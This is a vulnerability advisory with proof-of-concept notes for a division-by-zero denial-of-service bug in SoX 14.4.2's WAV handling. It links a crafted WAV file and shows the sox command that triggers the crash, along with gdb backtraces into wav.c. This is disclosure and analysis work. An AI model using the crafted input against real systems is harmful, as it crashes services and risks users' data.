# Exploit Title: SoX 14.4.2 - Denial Of Service # Exploit Author: LiquidWorm Vendor: Chris Bagwell Product web page: http://sox.sourceforge.net https://en.wikipedia.org/wiki/SoX Affected version: <=14.4.2 Summary: SoX (Sound eXchange) is the Swiss Army knife of sound processing tools: it can convert sound files between many different file formats and audio devices, and can apply many sound effects and transformations, as well as doing basic analysis and providing input to more capable analysis and plotting tools. Desc: SoX suffers from a division by zero attack when handling WAV files, resulting in denial of service vulnerability and possibly loss of data. Tested on: Ubuntu 18.04.6 LTS Microsoft Windows 10 Home Vulnerability discovered by Gjoko 'LiquidWorm' Krstic @zeroscience Advisory ID: ZSL-2022-5712 Advisory URL: https://www.zeroscience.mk/en/vulnerabilities/ZSL-2022-5712.php CWE ID: 369 CWE URL: https://cwe.mitre.org/data/definitions/369.html 05.09.2022 -- PoC: https://zeroscience.mk/codes/sox_div0.wav.zip --- $ ./sox div0.wav test.wav reverse Floating point exception (core dumped) ... Program received signal SIGFPE, Arithmetic exception. 0x00005555556a560d in startread (ft=ft@entry=0x5555559a54a0) at wav.c:950 (gdb) bt #0 0x00005555556a560d in startread (ft=ft@entry=0x5555559a54a0) at wav.c:950 #1 0x000055555558dcc2 in open_read (path=, buffer=, buffer_size=, signal=0x5555559a5140, encoding=, filetype=0x555555777621 "wav") at formats.c:545 #2 0x0000555555561480 in main (argc=3, argv=0x7fffffffde18) at sox.c:2945 ... Program received signal SIGFPE, Arithmetic exception. 0x00005555556a3a32 in wavwritehdr (second_header=0, ft=0x5555559a6a90) at wav.c:1457 1457 blocksWritten = MS_UNSPEC/wBlockAlign; (gdb) bt #0 0x00005555556a3a32 in wavwritehdr (second_header=0, ft=0x5555559a6a90) at wav.c:1457 #1 startwrite (ft=0x5555559a6a90) at wav.c:1252 #2 0x0000555555591669 in open_write (path=, buffer=buffer@entry=0x0, buffer_size=buffer_size@entry=0, buffer_ptr=buffer_ptr@entry=0x0, buffer_size_ptr=buffer_size_ptr@entry=0x0, signal=, encoding=, filetype=, oob=, overwrite_permitted=) at formats.c:912 #3 0x0000555555593913 in sox_open_write (path=, signal=, encoding=, filetype=, oob=, overwrite_permitted=) at formats.c:948 #4 0x000055555556b620 in open_output_file () at sox.c:1557 #5 process () at sox.c:1754 #6 main (argc=, argv=) at sox.c:3008 (gdb) bt full #0 0x00005555556a3a32 in wavwritehdr (second_header=0, ft=0x5555559a6a90) at wav.c:1457 wFormatTag = 1 dwAvgBytesPerSec = 0 dwFactSize = 4 bytespersample = blocksWritten = dwSamplesWritten = 0 ...

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